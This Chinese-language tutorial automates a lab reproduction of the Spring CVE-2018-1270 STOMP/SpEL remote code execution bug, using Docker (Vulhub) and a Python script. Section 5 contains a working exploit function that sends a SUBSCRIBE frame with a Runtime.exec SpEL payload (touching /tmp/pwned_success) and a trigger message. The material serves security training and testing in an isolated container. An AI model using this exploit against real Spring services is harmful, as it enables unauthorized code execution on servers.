Docker+Python自动化复现Spring CVE-2018-1270漏洞环境
1. 项目概述:为什么我们需要一个“一键式”的漏洞环境
每次看到一个新的CVE编号,尤其是像CVE-2018-1270这种涉及Spring这种主流框架的漏洞,很多安全研究者和开发者的第一反应就是去网上找复现教程。但这个过程往往很痛苦:你得先找到一个还能用的、版本匹配的Spring Boot项目,然后手动修改配置,引入有漏洞的依赖,再启动服务,最后还得手动构造攻击载荷去验证。一套流程下来,半小时过去了,可能环境还没跑起来,或者因为某个依赖版本冲突而卡住。这完全背离了我们快速学习、验证和理解的初衷。
我干了十多年安全,深知效率就是生命。尤其是在做内部安全培训、编写检测规则或者快速评估风险时,我们需要的是一个确定、可重复、且与生产环境隔离的漏洞环境。这就是Docker+Python脚本组合拳的价值所在。Docker负责提供纯净、一致的环境,杜绝“在我机器上好好的”这类问题;Python脚本则负责将搭建、启动、验证这一系列手动操作自动化,把时间从“半小时摸索”压缩到“5分钟确认”。
CVE-2018-1270,简单来说,是Spring Framework 5.0到5.0.4,以及4.3.x到4.3.15版本中,Spring Messaging模块的STOMP协议支持存在的一个远程代码执行漏洞。攻击者可以通过向WebSocket连接的STOMP端点发送特制的消息,在服务端触发SpEL表达式注入,从而执行任意代码。这个漏洞的利用条件相对宽松,影响面广,是理解Spring安全机制和消息协议安全的一个经典案例。
所以,这个项目的核心目标不是“又一个复现教程”,而是提供一套开箱即用、一键验证的解决方案。无论你是安全新手想快速搭建靶场,还是资深工程师需要为自动化扫描工具准备测试环境,这套方法都能让你把精力集中在漏洞原理和分析上,而不是浪费在繁琐的环境搭建上。
2. 环境整体设计与工具选型思路
要达成“5分钟搞定”的目标,整个方案的设计必须极简且可靠。核心思路是:用Docker容器封装漏洞应用,用Python脚本驱动Docker并执行攻击验证。下面我详细拆解一下每个环节的选型考量。
2.1 为什么是Docker而非本地部署?
首先,为什么坚决选择Docker而不是在本地安装Java、Maven再构建?
- 环境隔离与纯净性:CVE-2018-1270依赖于特定版本的Spring Framework。在本地部署,你可能会遇到JDK版本冲突、Maven仓库依赖拉取慢或失败、端口占用等问题。Docker容器提供了一个从操作系统到应用依赖的完整、封闭的沙箱,确保每次运行的环境完全一致。
- 可重复性与便携性:Docker镜像一旦构建完成,可以在任何安装了Docker的机器上以完全相同的方式运行。这对于团队分享、知识沉淀至关重要。你不需要写冗长的“环境准备”文档,只需要一句
docker run命令。 - 安全性:漏洞环境本身可能存在风险。在容器中运行,即使应用被攻破,其对宿主机的直接影响也被限制在容器内部(当然,仍需遵循安全最佳实践,如不使用
--privileged模式)。 - 快速清理:测试完成后,一句
docker rm -f就能彻底清除环境,不留任何垃圾文件或残留进程。
基于以上几点,使用Docker是搭建标准化漏洞环境的不二之选。
2.2 为什么选择Vulhub作为基础镜像?
网络上可能有多个漏洞环境项目,我选择基于Vulhub。原因如下:
- 权威性与维护度:Vulhub是一个知名的漏洞环境集合项目,由安全社区维护,收录了大量经过验证的、可直接复现的漏洞环境Docker Compose配置。其提供的环境质量相对较高,减少了我们自己从零构建的工作量和出错概率。
- 即开即用:Vulhub通常已经配置好了所有必要的依赖、脆弱的应用代码以及正确的服务启动方式。我们不需要去翻找历史版本的Spring Boot源码,也不用自己编写有漏洞的Demo应用。
- 标准化:Vulhub使用Docker Compose来定义服务,这使得多服务应用(例如,一个Web应用加一个数据库)的编排变得非常简单和统一。
注意:直接使用公开的漏洞镜像时,务必从可信源(如项目官方仓库)获取。不要随意使用来路不明的Docker镜像,以防镜像本身被植入后门。
2.3 为什么用Python脚本而不是Shell脚本?
自动化部分可以用Shell,也可以用Python。我选择Python,基于以下几点考虑:
- 跨平台兼容性:Python脚本在Windows、Linux、macOS上都能良好运行(只要安装了Python和Docker客户端)。而Shell脚本(尤其是Bash)在Windows上需要借助WSL或Git Bash,增加了复杂度。
- 更强大的库支持:对于漏洞验证,我们可能需要发送复杂的WebSocket或HTTP请求。Python有成熟且易用的库,如
websocket-client、requests,构造Payload和处理响应比Shell方便得多。 - 更好的结构化与可读性:Python代码结构清晰,易于封装函数、处理错误和添加日志,使得脚本更健壮、更易维护和扩展。未来如果想加入更多漏洞的自动化验证,Python脚本的框架更容易复用。
- 与安全工具链集成:很多安全工具和框架(如Metasploit、某些扫描器插件)也使用Python,用Python编写验证脚本能更好地融入现有的工作流。
因此,我们的Python脚本将承担几个核心任务:拉取镜像(如果本地没有)、启动容器、等待服务就绪、构造并发送攻击载荷、解析响应并判断漏洞是否存在、最后清理环境。
3. 核心组件解析与准备工作
在动手写脚本和运行命令之前,我们需要确保基石是稳固的。这一部分,我会详细说明Docker和Python环境的准备要点,这些是后面一切操作的前提。
3.1 Docker环境准备与关键配置
如果你的机器上还没有Docker,需要先安装。这里以Linux(Ubuntu)和Windows为例,说明核心步骤和注意事项。
对于Ubuntu/Debian系统:
- 卸载旧版本(如果有):
sudo apt-get remove docker docker-engine docker.io containerd runc - 安装依赖并添加Docker官方GPG密钥:
sudo apt-get update sudo apt-get install ca-certificates curl gnupg sudo install -m 0755 -d /etc/apt/keyrings curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg sudo chmod a+r /etc/apt/keyrings/docker.gpg - 设置稳定版仓库:
echo \ "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] https://download.docker.com/linux/ubuntu \ $(. /etc/os-release && echo "$VERSION_CODENAME") stable" | \ sudo tee /etc/apt/sources.list.d/docker.list > /dev/null - 安装Docker引擎:
sudo apt-get update sudo apt-get install docker-ce docker-ce-cli containerd.io docker-buildx-plugin docker-compose-plugin - 验证安装:运行
sudo docker run hello-world,如果能看到欢迎信息,说明安装成功。 - (重要)将当前用户加入docker组,避免每次使用
sudo:
执行此命令后,你需要完全退出当前终端会话并重新登录,或者重启系统,用户组更改才会生效。之后就可以直接使用sudo groupadd docker # 如果docker组已存在,会提示,可忽略 sudo usermod -aG docker $USERdocker命令了。
对于Windows系统:
- 确保你的Windows版本满足要求。对于现代Windows 10/11,推荐使用Docker Desktop for Windows。它需要开启WSL 2或Hyper-V后端。
- 从Docker官网下载Docker Desktop Installer并安装。
- 安装过程中,如果提示启用WSL 2或Hyper-V,请按照指引操作。我个人更推荐使用WSL 2后端,它在文件系统性能和资源占用上表现更好,且能与Windows子系统Linux无缝集成。
- 安装完成后,启动Docker Desktop。你可能会在系统托盘看到鲸鱼图标。等待其状态变为“Docker Desktop is running”。
- 打开PowerShell或命令提示符,输入
docker version验证。如果返回客户端和服务端版本信息,即表示成功。
实操心得:镜像加速。在国内,从Docker Hub拉取镜像可能会非常慢。务必配置镜像加速器。对于Docker Desktop,可以在设置(Settings)-> Docker Engine中,修改
registry-mirrors配置。对于Linux,可以修改/etc/docker/daemon.json文件。常用的加速器地址有阿里云、中科大、网易等。这能为你节省大量等待时间。
3.2 Python环境与必要库安装
我们的脚本需要Python 3.6或更高版本。同样需要安装几个关键的库。
- 检查Python版本:在终端中运行
python3 --version或python --version。确保版本号 >= 3.6。 - 安装包管理工具pip:通常Python 3安装包会包含pip。如果没有,可以通过系统包管理器安装(如
sudo apt install python3-pip)或从官网下载get-pip.py脚本安装。 - 安装核心依赖库:我们将主要用到
docker(用于通过Python控制Docker)、websocket-client(用于连接WebSocket)和requests(用于辅助的HTTP请求,如检查服务状态)。pip3 install docker websocket-client requestsdocker库:这是一个Python SDK,允许你以编程方式执行几乎所有docker命令行能做的事情,例如管理容器、镜像、网络等。它比用subprocess调用命令行更优雅、更安全。websocket-client库:一个简单易用的WebSocket客户端,我们将用它来建立到漏洞服务的WebSocket连接并发送恶意STOMP帧。requests库:虽然主要攻击通过WebSocket,但有时我们需要先通过HTTP GET请求获取CSRF Token或确认WebSocket端点地址,requests库是处理HTTP请求的事实标准。
注意事项:虚拟环境。强烈建议使用Python虚拟环境(如
venv或virtualenv)来管理项目依赖。这样可以避免不同项目间的库版本冲突。创建并激活虚拟环境的命令如下:# 创建虚拟环境 python3 -m venv venv # 激活虚拟环境 (Linux/macOS) source venv/bin/activate # 激活虚拟环境 (Windows PowerShell) .\venv\Scripts\Activate.ps1 # 然后在激活的环境内安装上述依赖 pip install docker websocket-client requests
4. 漏洞环境搭建的自动化实现
有了基础环境,我们现在进入核心环节:编写Python脚本,自动完成从拉取镜像到启动漏洞服务的全过程。我会把脚本拆解成几个函数,并详细解释每一段代码的作用和背后的考量。
4.1 脚本框架与Docker客户端初始化
首先,我们创建一个名为cve_2018_1270_auto.py的Python文件。脚本的开头部分负责导入库和初始化Docker客户端。
#!/usr/bin/env python3 """ CVE-2018-1270 漏洞环境自动搭建与验证脚本 使用Docker运行Vulhub漏洞环境,并通过Python WebSocket客户端进行漏洞验证。 """ import sys import time import json import logging from docker import DockerClient from docker.errors import DockerException, ImageNotFound, APIError import requests import websocket import threading # 配置日志,方便查看运行过程 logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s') logger = logging.getLogger(__name__) # 全局配置 VULHUB_IMAGE = 'vulhub/spring-cve_2018_1270:latest' # Vulhub中该漏洞的镜像名 CONTAINER_NAME = 'spring-cve-2018-1270-test' # 要运行的容器名称 CONTAINER_PORT = 8080 # 容器内部应用端口 HOST_PORT = 8080 # 映射到宿主机的端口 def init_docker_client(): """ 初始化Docker客户端。 尝试从环境变量连接,如果失败则使用默认的Unix socket或Windows named pipe。 """ try: # 这种方式会自动检测当前平台(Linux的/var/run/docker.sock或Windows的npipe) client = DockerClient.from_env() # 简单ping一下,测试连接是否正常 client.ping() logger.info("Docker客户端初始化成功。") return client except DockerException as e: logger.error(f"无法连接到Docker守护进程。请确保Docker服务正在运行,并且当前用户有权限访问。错误: {e}") logger.info("在Linux上,通常需要将用户加入'docker'组并重新登录。") logger.info("在Windows上,请确保Docker Desktop正在运行。") sys.exit(1)代码解读与注意事项:
#!/usr/bin/env python3:这是一个shebang行,在Unix-like系统上,如果给脚本加上执行权限(chmod +x),可以直接通过./script.py运行。logging模块:使用日志而不是简单的print,可以更方便地控制输出级别(INFO, DEBUG, ERROR等),并且格式统一,便于排查问题。DockerClient.from_env():这是最推荐的初始化方式。它会读取DOCKER_HOST等环境变量,如果未设置,则回退到平台的默认连接方式(Linux上是Unix socket,Windows上是named pipe)。这保证了脚本在两种主流操作系统上的兼容性。client.ping():一个简单的健康检查,确保客户端能成功与Docker引擎通信。如果这里失败,通常意味着Docker服务没启动,或者用户权限不足。
4.2 拉取镜像与启动容器
接下来,我们编写函数来确保镜像存在,并启动容器。
def ensure_image_exists(client, image_name): """ 检查本地是否存在指定的Docker镜像,如果不存在则拉取。 """ try: client.images.get(image_name) logger.info(f"镜像 '{image_name}' 已存在于本地。") except ImageNotFound: logger.info(f"镜像 '{image_name}' 不存在,开始从仓库拉取...") try: # 拉取镜像,并显示进度条(stream=True返回一个生成器) pull_log = client.api.pull(image_name, stream=True, decode=True) for line in pull_log: status = line.get('status', '') progress = line.get('progress', '') id_info = line.get('id', '') # 过滤掉一些冗长的进度信息,只显示关键状态 if status and 'Downloading' not in status and 'Extracting' not in status: logger.info(f"拉取状态: {status} {id_info} {progress}".strip()) elif 'Downloaded' in status or 'Pull complete' in status: logger.info(f"层 {id_info}: {status}") logger.info(f"镜像 '{image_name}' 拉取完成。") except APIError as e: logger.error(f"拉取镜像失败: {e}") sys.exit(1) def start_vulnerable_container(client, image_name, container_name, host_port, container_port): """ 启动漏洞环境容器。 """ # 先停止并移除可能存在的同名旧容器,避免冲突 try: old_container = client.containers.get(container_name) logger.warning(f"发现已存在的容器 '{container_name}',正在停止并移除...") old_container.stop() old_container.remove() time.sleep(2) # 等待容器完全停止 except: pass # 如果容器不存在,则忽略 logger.info(f"正在启动容器 '{container_name}'...") try: # 运行容器 # ports参数将容器内部的端口映射到宿主机 # detach=True 表示在后台运行 # auto_remove=True 容器停止后自动删除(但我们需要它运行,所以这里不用) container = client.containers.run( image=image_name, name=container_name, ports={f'{container_port}/tcp': host_port}, detach=True, # 可以添加环境变量,如果需要的话 # environment={'SOME_VAR': 'value'} ) logger.info(f"容器已启动,ID: {container.short_id}") logger.info(f"应用将在 http://localhost:{host_port} 上运行。") return container except APIError as e: logger.error(f"启动容器失败: {e}") # 尝试获取更详细的错误信息 if hasattr(e, 'explanation'): logger.error(f"详细错误: {e.explanation}") sys.exit(1)代码解读与注意事项:
ensure_image_exists:这个函数体现了“容错”设计。先尝试获取本地镜像,如果抛出了ImageNotFound异常,才去拉取。拉取时使用stream=True来获取实时进度信息,并通过解析JSON日志来向用户反馈进度,而不是让用户面对一个沉默的终端。start_vulnerable_container:- 清理旧容器:在启动新容器前,尝试查找并强制移除同名的旧容器。这是一个好习惯,能避免端口冲突或容器名冲突导致的启动失败。
client.containers.run:这是启动容器的核心方法。ports参数是一个字典,键是容器端口/协议,值是宿主机端口。这里我们把容器的8080端口映射到宿主机的8080端口。detach=True:让容器在后台运行,这样我们的脚本才能继续执行后续的验证步骤。- 错误处理:捕获
APIError,并尝试打印更详细的解释。Docker API的错误信息有时很具体,比如“端口已被占用”,这能帮助用户快速定位问题。
4.3 等待服务就绪的健康检查
容器启动成功,并不代表里面的Spring Boot应用已经完成初始化并开始监听端口。我们需要一个健康检查函数,定期探测应用是否真的准备好了。
def wait_for_service_ready(host, port, timeout=60): """ 等待目标HTTP服务就绪。 通过发送HTTP GET请求到根路径,直到收到成功响应或超时。 """ url = f'http://{host}:{port}' logger.info(f"等待服务就绪: {url}") start_time = time.time() while time.time() - start_time < timeout: try: # 设置较短的超时时间,避免长时间阻塞 response = requests.get(url, timeout=5) if response.status_code == 200: logger.info("服务已就绪!") return True else: logger.debug(f"服务响应状态码: {response.status_code},继续等待...") except requests.exceptions.ConnectionError: # 连接被拒绝,说明服务还没启动 pass except requests.exceptions.Timeout: # 请求超时,可能是服务启动慢 pass except requests.exceptions.RequestException as e: logger.warning(f"健康检查请求异常: {e}") time.sleep(2) # 每2秒检查一次 logger.error(f"等待服务就绪超时({timeout}秒)。请手动检查容器日志。") return False代码解读与注意事项:
- 为什么需要健康检查?Spring Boot应用启动时,需要加载类、初始化Bean、启动内嵌Tomcat等,这需要几秒到几十秒的时间。如果容器一启动就立刻发起攻击,很可能会失败。
- 探测策略:我们向应用的根路径发起一个HTTP GET请求。对于大多数Web应用(包括这个漏洞Demo),根路径通常会有响应。当收到200状态码时,我们认为服务就绪了。
- 超时与重试:设置一个总超时(如60秒)和每次请求的超时(5秒)。在循环中不断尝试,直到成功或总超时。每次尝试后休眠2秒,避免过于频繁的请求。
- 异常处理:捕获连接错误和超时异常,这些在服务未就绪时是正常的。将其视为“等待中”状态,而不是失败。
5. 漏洞验证:构造并发送攻击载荷
这是整个脚本最核心的部分。我们需要理解CVE-2018-1270的利用原理,并用Python的websocket-client库来模拟攻击者发送恶意STOMP帧。
5.1 CVE-2018-1270漏洞原理简述
在深入代码前,快速回顾一下漏洞点。Spring Framework的spring-messaging模块为STOMP over WebSocket提供了支持。在处理客户端发来的STOMPSUBSCRIBE帧(订阅某个目的地)时,服务端会解析帧头。攻击者可以构造一个特殊的selector头,其值是一个恶意的SpEL(Spring Expression Language)表达式。由于服务端在解析时未对表达式进行充分的过滤或沙箱化,导致该表达式被直接执行,从而实现远程代码执行。
典型的利用链是:通过WebSocket建立连接 -> 发送CONNECT帧 -> 发送恶意的SUBSCRIBE帧(包含SpEL表达式的selector头) -> 触发表达式执行。
5.2 WebSocket连接与STOMP帧构造
STOMP是一个基于文本的简单协议,帧结构如下:
COMMAND header1:value1 header2:value2 Body^@其中^@代表一个空字节(NULL),作为帧的结束符。
我们的Python脚本需要模拟这个过程:
def exploit_cve_2018_1270(host, port): """ 利用CVE-2018-1270漏洞。 步骤:1. 建立WebSocket连接。 2. 发送CONNECT帧。 3. 发送恶意的SUBSCRIBE帧。 """ ws_url = f'ws://{host}:{port}/gs-guide-websocket' # Vulhub环境中常见的WebSocket端点 logger.info(f"尝试连接到WebSocket端点: {ws_url}") # 设置WebSocket连接,禁用SSL验证(因为本地环境通常是HTTP) ws = websocket.WebSocket() try: ws.connect(ws_url) logger.info("WebSocket连接成功。") except websocket.WebSocketException as e: logger.error(f"WebSocket连接失败: {e}") return False # 1. 发送CONNECT帧 # 有些服务端需要认证,这里发送一个空的CONNECT帧(无认证头) connect_frame = "CONNECT\naccept-version:1.1,1.0\n\n\x00" logger.debug(f"发送CONNECT帧: {connect_frame.replace(chr(0), 'NULL')}") ws.send(connect_frame) # 接收CONNECTED帧响应(可选,但可以确认协议握手成功) try: response = ws.recv() logger.debug(f"收到响应: {response}") if "CONNECTED" in response: logger.info("STOMP协议握手成功。") else: logger.warning(f"未收到预期的CONNECTED帧: {response}") except websocket.WebSocketTimeoutException: logger.warning("接收CONNECTED响应超时,继续执行...") # 2. 构造并发送恶意的SUBSCRIBE帧 # 关键:在selector头部注入SpEL表达式。 # 一个经典的PoC是执行系统命令,例如在Linux上弹出计算器(xcalc)或执行`touch /tmp/pwned`。 # 注意:实际利用时,表达式需要根据目标环境调整。这里使用一个无害的验证表达式。 # 无害验证Payload:尝试访问一个不存在的属性,触发SpEL解析错误,通过错误信息判断漏洞是否存在。 # 更直接的Payload可以是执行命令,但为了安全演示,我们使用一个无害的。 malicious_selector = "T(java.lang.Runtime).getRuntime().exec('touch /tmp/pwned_success')" # 注意:在实际漏洞利用中,上面的命令会在容器内执行。由于我们是演示,且容器是临时的,所以相对安全。 # 你也可以替换成一个完全无害的表达式,如 `new java.util.Date()` 来验证解析功能。 subscribe_frame = f"SUBSCRIBE\nid:sub-0\ndestination:/topic/greetings\nselector:{malicious_selector}\n\n\x00" logger.info(f"发送恶意SUBSCRIBE帧 (selector: {malicious_selector})...") logger.debug(f"完整帧: {subscribe_frame.replace(chr(0), 'NULL')}") ws.send(subscribe_frame) # 3. 发送一个MESSAGE帧到/topic/greetings,以触发selector的执行 # 因为selector是在消息被分发给订阅者时进行过滤的,所以需要有一条消息。 message_frame = "SEND\ndestination:/topic/greetings\ncontent-type:application/json\n\n{\"content\":\"trigger\"}\x00" ws.send(message_frame) logger.info("已发送触发消息。") # 等待一小会儿,让命令有机会执行 time.sleep(3) # 4. 检查漏洞是否被触发(间接验证) # 我们可以尝试通过容器执行命令来检查文件是否被创建,但这需要额外的Docker API调用。 # 更简单的方式:检查WebSocket连接是否因为服务端异常而关闭,或者监听特定的错误响应。 # 这里我们采用一个简化的方法:尝试再接收一次数据,如果连接异常关闭,可能意味着服务端处理时崩溃了(是漏洞触发的迹象之一)。 try: ws.settimeout(2) final_response = ws.recv() logger.debug(f"最终响应: {final_response}") except websocket.WebSocketTimeoutException: logger.info("WebSocket连接仍在,未收到额外数据。") except websocket.WebSocketConnectionClosedException: logger.warning("WebSocket连接已关闭。这可能是服务端处理恶意帧时发生了异常(漏洞可能触发)。") except Exception as e: logger.error(f"接收最终数据时出错: {e}") ws.close() logger.info("WebSocket连接已关闭。") # 返回一个假设性的成功标志。在实际脚本中,可以结合容器内检查来确认。 # 例如,可以通过Docker API在容器内执行 `docker exec <container_id> ls /tmp` 来检查文件。 logger.warning("【验证提示】漏洞利用过程已完成。") logger.warning("由于安全考虑,脚本未自动执行容器内命令验证。") logger.warning("请手动进入容器检查命令是否执行(例如:`docker exec -it <容器名> ls /tmp`),查看/tmp/pwned_success文件是否存在。") return True # 假设发送过程成功代码解读与注意事项:
- WebSocket端点:
/gs-guide-websocket是Vulhub中Spring WebSocket示例常见的端点路径。如果实际环境不同,需要调整。 - STOMP帧格式:注意每行以换行符
\n结束,头部和Body之间有一个空行,帧末尾是空字节\x00。必须严格遵守这个格式,否则服务端可能无法正确解析。 - 恶意Selector:
selector头的值是注入点。我们构造的SpEL表达式T(java.lang.Runtime).getRuntime().exec('touch /tmp/pwned_success')尝试在容器内创建一个文件。这是一个经典的RCE证明方式。 - 触发机制:仅仅发送SUBSCRIBE帧可能不会立即执行表达式。Selector通常是在有消息发布到订阅的目的地时,用于过滤消息的。因此,我们随后发送了一个
SEND帧到同一个目的地(/topic/greetings)来“触发”这个selector的求值。 - 安全警告:脚本中使用的Payload会在容器内执行命令。请仅在你自己控制的、隔离的测试环境中运行此脚本。切勿对任何未经授权的系统进行测试。
- 验证方式:脚本采用了“发送即完成”的策略,并将最终验证留给用户手动完成(通过
docker exec)。这是一种更安全、更清晰的做法。你也可以增强脚本,通过docker exec自动执行验证命令并解析结果,但这需要更复杂的错误处理和更高的权限(容器可能需要以privileged模式运行,或者挂载Docker socket),增加了脚本的复杂性和风险。
6. 主流程整合与资源清理
现在,我们将上述所有函数整合到一个主函数中,并确保在脚本结束时(无论成功还是因异常中断)都能清理容器资源。
def main(): """ 主控制流程。 """ logger.info("=== CVE-2018-1270 漏洞环境自动化验证脚本开始 ===") # 1. 初始化Docker客户端 docker_client = init_docker_client() # 2. 确保镜像存在 ensure_image_exists(docker_client, VULHUB_IMAGE) # 3. 启动漏洞容器 container = start_vulnerable_container( client=docker_client, image_name=VULHUB_IMAGE, container_name=CONTAINER_NAME, host_port=HOST_PORT, container_port=CONTAINER_PORT ) # 给容器一点启动时间 time.sleep(5) # 4. 等待Spring Boot应用服务就绪 if not wait_for_service_ready('localhost', HOST_PORT, timeout=90): logger.error("服务启动失败,即将清理容器并退出。") cleanup_container(docker_client, CONTAINER_NAME) sys.exit(1) # 5. 执行漏洞利用 logger.info("开始漏洞利用验证...") exploit_success = exploit_cve_2018_1270('localhost', HOST_PORT) if exploit_success: logger.info("漏洞利用载荷发送完成。") # 这里可以添加自动验证逻辑,例如通过docker exec检查容器内文件 # auto_verify_exploit(docker_client, CONTAINER_NAME) else: logger.error("漏洞利用过程出现错误。") # 6. 询问用户是否立即清理容器 input("\n漏洞验证流程已完成。按Enter键将停止并删除测试容器...") # 7. 清理容器 cleanup_container(docker_client, CONTAINER_NAME) logger.info("=== 脚本执行结束 ===") def cleanup_container(client, container_name): """ 停止并移除指定的容器。 """ try: container = client.containers.get(container_name) logger.info(f"正在停止容器 '{container_name}'...") container.stop() logger.info(f"正在移除容器 '{container_name}'...") container.remove() logger.info("容器清理完成。") except Exception as e: logger.warning(f"清理容器时发生错误(可能容器不存在): {e}") if __name__ == '__main__': try: main() except KeyboardInterrupt: logger.info("\n检测到用户中断(Ctrl+C)。执行清理...") # 即使被中断,也尝试清理容器 docker_client = None try: docker_client = DockerClient.from_env() except: pass if docker_client: cleanup_container(docker_client, CONTAINER_NAME) logger.info("脚本已退出。") sys.exit(0) except Exception as e: logger.error(f"脚本执行过程中发生未预期的错误: {e}", exc_info=True) sys.exit(1)代码解读与注意事项:
- 流程串联:
main函数清晰地定义了整个自动化流程:初始化 -> 检查镜像 -> 启动容器 -> 健康检查 -> 漏洞利用 -> 资源清理。 - 健壮性设计:
- 在健康检查失败后,主动调用
cleanup_container清理容器,避免留下僵尸容器。 - 使用
try...except包裹主函数,捕获键盘中断(KeyboardInterrupt)和其他异常。即使用户按了Ctrl+C,脚本也会尽力清理容器后再退出。 cleanup_container函数本身也做了异常处理,避免因为容器已被删除等原因导致脚本崩溃。
- 在健康检查失败后,主动调用
- 用户交互:在漏洞利用完成后,通过
input()暂停,等待用户按Enter键后再清理容器。这给了用户一个机会去手动检查容器状态、查看日志或进行其他分析。这是一个非常实用的设计。 - 自动验证(可选):我在代码中注释了
auto_verify_exploit函数。你可以实现它,通过docker_client.containers.get(container_name).exec_run('ls /tmp')来执行命令并检查输出中是否包含pwned_success文件,从而实现全自动验证。但考虑到安全性和脚本的通用性,手动验证对于演示目的来说已经足够。
7. 完整脚本使用指南与常见问题排查
现在,你已经拥有了一个完整的、接近200行的自动化脚本。让我们来看看如何运行它,以及遇到问题时该如何解决。
7.1 如何运行脚本
- 保存脚本:将上述所有代码块按顺序复制到一个文件中,命名为
cve_2018_1270_auto.py。 - 安装依赖:确保已在Python虚拟环境或全局环境中安装了
docker,websocket-client,requests库。 - 运行脚本:在终端中,切换到脚本所在目录,执行:
python3 cve_2018_1270_auto.py - 观察输出:脚本会按顺序打印日志,告诉你每一步在做什么。最终,它会暂停,提示你按Enter键清理容器。
- 手动验证:在脚本暂停期间,你可以打开新的终端窗口,执行以下命令来验证攻击是否成功:
如果看到# 列出容器内的/tmp目录,查看文件是否被创建 docker exec -it spring-cve-2018-1270-test ls -la /tmp/ # 查看Spring Boot应用的日志,看是否有异常或SpEL执行记录 docker logs spring-cve-2018-1270-test/tmp/pwned_success文件,则证明漏洞利用成功,SpEL表达式被执行了。
7.2 常见问题与解决方案速查表
在实际操作中,你可能会遇到以下问题。这里我整理了一个排查清单:
| 问题现象 | 可能原因 | 解决方案 |
|---|---|---|
Docker连接失败(Cannot connect to the Docker daemon) | 1. Docker服务未运行。 2. 当前用户不在 docker组(Linux)。3. Docker Desktop未启动(Windows)。 | 1. Linux:sudo systemctl start docker; Windows: 启动Docker Desktop应用。2. Linux: 将用户加入docker组后重新登录。 3. 检查Docker Desktop状态。 |
| 拉取镜像速度极慢或失败 | Docker Hub网络连接问题。 | 配置国内镜像加速器。修改Docker Desktop的Daemon配置或Linux的/etc/docker/daemon.json文件。 |
启动容器时端口冲突(port is already allocated) | 宿主机8080端口已被其他程序占用。 | 1. 修改脚本中的HOST_PORT变量为其他空闲端口(如8081)。2. 停止占用端口的进程: lsof -i:8080查找PID,然后kill -9 PID。 |
| 健康检查一直失败 | 1. Spring Boot应用启动失败。 2. 容器启动后立即退出。 3. 网络或防火墙问题。 | 1. 查看容器日志:docker logs spring-cve-2018-1270-test,根据错误信息排查。2. 检查容器状态: docker ps -a,如果状态是Exited,说明应用启动失败。3. 尝试从宿主机直接访问 http://localhost:8080(或你映射的端口)。 |
WebSocket连接失败(Connection refused或404) | 1. WebSocket端点路径错误。 2. 应用不支持WebSocket或STOMP。 | 1. 检查Vulhub项目的文档或源码,确认正确的WebSocket端点。有时路径可能是/ws或/stomp。2. 确保你拉取和运行的镜像确实是存在该漏洞的Spring Messaging应用。 |
| 发送STOMP帧后无反应 | 1. STOMP帧格式错误(如缺少结束符\x00)。2. Selector表达式未触发。 3. 目标目的地( /topic/greetings)不对。 | 1. 仔细检查代码中帧的构造,确保符合STOMP协议规范。可以使用Wireshark或浏览器开发者工具对比。 2. 尝试发送一个无害的Selector,如 selector:1==1,看订阅是否成功。3. 查看应用源码或文档,确认正确的订阅目的地。 |
docker exec验证时提示容器不存在 | 脚本已运行完毕并清理了容器。 | 在脚本暂停(等待按Enter键)时进行验证。或者,注释掉main()函数末尾的cleanup_container调用和input()语句,让容器保持运行。 |
7.3 进阶技巧与扩展思路
- 参数化脚本:可以将目标主机、端口、镜像名、容器名、甚至Payload都作为命令行参数传入,使脚本更灵活。可以使用Python的
argparse库。 - 集成到CI/CD或自动化扫描:你可以将这个脚本封装成一个函数或类,集成到更大的安全测试框架中。例如,定期对内部测试环境中的Spring服务进行漏洞扫描。
- 多漏洞支持:以这个脚本为模板,你可以很容易地扩展它来支持Vulhub中的其他漏洞。主要需要修改的就是镜像名、端口和
exploit_*函数中的攻击逻辑。 - 更优雅的验证:实现之前提到的
auto_verify_exploit函数,通过Docker API在攻击后自动执行验证命令并解析结果,实现真正的全自动化判断。 - 日志与报告:将脚本的运行结果(成功/失败、容器日志片段等)输出到文件或发送到日志系统,便于后续审计和分析。
这个项目不仅仅是一个漏洞复现工具,它更是一个自动化思维和安全运维实践的演示。通过将重复、易错的手动操作转化为可靠的代码,我们不仅节省了时间,还创造了可重复、可分享、可迭代的安全资产。下次遇到需要测试的漏洞环境,不妨先想想:能不能用Docker把它包起来,再用一个脚本让它自己跑起来?
